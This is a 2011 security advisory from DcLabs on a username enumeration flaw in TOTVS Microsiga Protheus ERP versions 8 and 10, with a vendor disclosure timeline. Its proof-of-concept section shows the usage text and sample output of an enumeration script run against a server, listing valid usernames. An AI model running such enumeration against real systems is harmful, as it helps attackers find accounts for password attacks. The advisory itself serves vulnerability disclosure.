[DCA-2011-0002]: TOTVS ERP Microsiga Protheus - Users Enumeration

[DCA-2011-0002]

[Discussion]

• DcLabs Security Research Group advises about following vulnerability(ies):

[Software]

• TOTVS ERP Microsiga Protheus

[Vendor Product Description - Portuguese]

• Software de Gestão - TOTVS
  A TOTVS é uma empresa de software, inovação, relacionamento e suporte
  à gestão, líder absoluta no Brasil, com 49,1% de share de mercado, e
  também na América Latina, com 31,2%*, é a maior empresa de softwares
  aplicativos sediada em países emergentes e a 7ª maior do mundo no
  setor.Tem mais de 25,2 mil clientes ativos, conta com o apoio de 9 mil
  participantes e está presente em 23 países.
  Proposta de Valor
  Tornar a empresa mais competitiva, com maior velocidade de decisão,
  oferecendo soluções que organizam, disciplinam, definem e impõem
  processos, armazenam dados, geram informação e auxiliam a gestão.
• Fonte: http://totvs.com.br/web/guest/software

[Advisory Timeline]

• 02/Feb/2011 -> Initial contact to vendor, security contact request.
• 03/Feb/2011 -> Security contact response.
• 03/Feb/2011 -> First notification sent, release date set to March 01, 2011.
• 04/Feb/2011 -> Vendor confirms notification received.
• 21/Feb/2011 -> Situation report requested.
• 01/Mar/2011 -> No vendor response.
• 02/Mar/2011 -> Advisory published.

[Bug Summary]

• Users enumeration

[Impact]

• Low

[Affected Version]

• Microsiga Protheus 8 (20081215030344)
• Microsiga Protheus 10 (20100812040605)
• Other versions can also be affected but weren't tested.

[Bug Description and Proof of Concept]

• The server validates the user before asking for a password, thus we
  can keep trying usernames until we get a password prompt.

• A Proof of Concept has been created:

— command line output begin —
[waKKu@localhost: codes] # ./totvs_users_enumerator.py -h
usage: totvs_users_enumerator.py [options] [filename]
-h for help

options:
–version show program's version number and exit
-h, --help show this help message and exit
-i IPADDRESS, --ipaddress=IPADDRESS
Server IP address
-p PORT, --port=PORT Port number (defaults to 1234)
-t TARGET, --target=TARGET
Target Version: 8 -> Protheus 8 | 10 -> Protheus 10.
Defaults to 10

[waKKu@localhost: codes] # ./totvs_users_enumerator.py --target 10
–ipaddress 192.168.4.95 userlist
Valid user: admin
Invalid user: fakeuser
Invalid user: nobody
Valid user: jonas
Valid user: fernando
Invalid user: elvis
— command line output end —

---

All flaws described here were discovered and researched by:
Flávio do Carmo Júnior aka waKKu.
DcLabs Security Research Group
carmo.flavio <AT> dclabs <DOT> com <DOT> br

[Workarounds]

• An initial workaround was provided to block user after 3 failed
  password attempts, but it doesn't work against this kind of users
  enumeration.

[Credits]
DcLabs Security Research Group.

–

Atenciosamente,

Flávio do Carmo Júnior aka waKKu @ DcLabs
Florianópolis/SC
http://br.linkedin.com/in/carmoflavio
http://0xcd80.wordpress.com